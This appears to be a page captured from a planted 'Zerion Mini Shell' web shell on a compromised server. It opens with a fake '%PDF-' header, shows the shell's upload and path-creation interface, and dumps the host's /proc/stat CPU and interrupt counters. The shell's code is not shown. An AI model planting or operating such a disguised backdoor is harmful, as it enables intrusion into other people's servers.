%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/
Upload File :
Create Path :
Current File : //proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/stat

cpu  743188664 98195873 326885260 22264702322 27251020 36018716 32368761 112863871 0 0
cpu0 51017307 4876691 18154638 1084067212 1391411 3789390 12768185 8159732 0 0
cpu1 45458774 4419321 18042505 1102404184 1552104 1941873 2446457 6236139 0 0
cpu2 43143257 4469872 17375619 1106434711 1559945 1872127 1419454 5859191 0 0
cpu3 41462696 4503932 16905932 1108915193 1531065 1839964 1118175 5722256 0 0
cpu4 40177290 4467827 16507237 1110810140 1518942 1808451 1014501 5641445 0 0
cpu5 39152043 4392108 16223135 1112320261 1490388 1780633 959388 5589627 0 0
cpu6 38549368 4400244 16027606 1113227951 1465458 1714142 926533 5624781 0 0
cpu7 37931269 4335100 15846309 1114141509 1451732 1692124 908859 5587950 0 0
cpu8 38006534 4315975 15722779 1114254101 1477837 1695102 887247 5483496 0 0
cpu9 32996827 4075728 14631812 1120694032 1215975 1761348 945577 5573331 0 0
cpu10 70948292 6599467 23000636 1069503880 3292921 1984527 979343 5515958 0 0
cpu11 37103652 5514409 17024660 1113204721 1288644 1570000 811672 5405340 0 0
cpu12 29825533 5467662 15687703 1121632724 915521 1749082 1269987 5452197 0 0
cpu13 28047675 5483054 15111272 1125015737 799862 1424400 717043 5334124 0 0
cpu14 26718666 5360237 15023139 1126132866 734847 1594988 1010140 5306110 0 0
cpu15 25764685 5285379 14635006 1128202704 674531 1394308 697057 5257058 0 0
cpu16 25301043 5133758 14427936 1129098568 651849 1369095 682743 5267518 0 0
cpu17 24880723 5062928 14252885 1129813866 631948 1383041 677634 5190146 0 0
cpu18 24589962 5020805 14100600 1130382817 613076 1351584 664076 5178633 0 0
cpu19 42113060 5011367 18183841 1104445133 2992956 2302529 1464681 5478829 0 0
intr 54935734209 41 9 0 0 0 0 0 0 1 0 0 32 15 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1267972049 0 2 0 1468754103 776826961 0 71874634 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 44186897081
btime 1747348758
processes 352896776
procs_running 2
procs_blocked 0
softirq 32783589027 1 3010978590 13 2781054114 1269059490 0 107051531 245799436 422233 3894387139

Zerion Mini Shell 1.0